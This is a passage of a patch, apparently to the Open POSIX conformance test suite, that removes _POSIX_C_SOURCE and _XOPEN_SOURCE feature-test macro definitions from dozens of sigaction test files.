-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c
index ab94d91..388e9c4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c
index 48f1af5..ba67275 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c
index 9aeb05c..da5c082 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c
index abeb431..dc69d28 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c
index e6cbaef..c3baf6c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c
index ca1fc26..f2ea563 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c
index 0e2b3e3..836ef92 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c
index 0e66c9c..92b20c4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c
index a60a440..cdf1a29 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
index 5c33b56..a038ea9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
index 0b731f7..019c980 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
index e02824d..7e3545e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
index 16dca4a..123ff16 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
index e319619..6cfe1d7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
index e94ade3..9371b1b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
index 1b926ec..37a986d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
index 59263bb..72446e7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
index b3ff90d..e6d5ba8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
index 7056061..2d3f743 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
index 20a99db..b124d08 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
index 10aa19e..0c7e8c6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
index ea2bb7b..f01a4c2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
index c91edfe..74fffa9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
index d83a386..dbe6c55 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
index 34dd74c..e0f54d8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
index a178728..bba928a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
index 02f8bed..62ebe73 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
index 3aaef9d..c02c773 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
index df04d83..5fb8c5f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
index 004fd51..9938890 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
index 432cf88..9096ca4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
index 9085be9..3b6799a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
index 892c7e6..5d6b84b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
index a56b6b0..ec26491 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
index b9c4456..9104486 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c
index 58d3d22..710fa0c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/21-1.c
@@ -4,7 +4,6 @@
   a child process not transforming into a zombie after death.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c
index 38e2117..459b3bf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-1.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c
index bebde7c..7b0e0f6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-10.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c
index 669d03e..f37df61 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-11.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c
index a0908c1..9048c21 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-12.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c
index 853ca9c..9cfa117 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-13.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c
index 21f8004..cadc114 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-14.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c
index 654bb67..b9179a0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-15.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c
index 991b822..8cc6d8b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-16.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c
index 2bd32a9..a566dd4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-17.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c
index bc2b692..4feb830 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-18.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c
index bc2b692..4feb830 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-19.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c
index bc2b692..4feb830 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-2.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c
index 2ed66c5..79dd0df 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-20.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c
index bdcfff5..dedb897 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-21.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c
index 7e124b8..db199a4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-22.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c
index 5dfb4a3..8985803 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-23.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c
index 3d904ef..1498f0a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-24.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c
index b91c9aa..813656d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-25.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c
index e0fcd39..7a01d4e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-26.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c
index 0990392..2116162 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/22-3.c
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
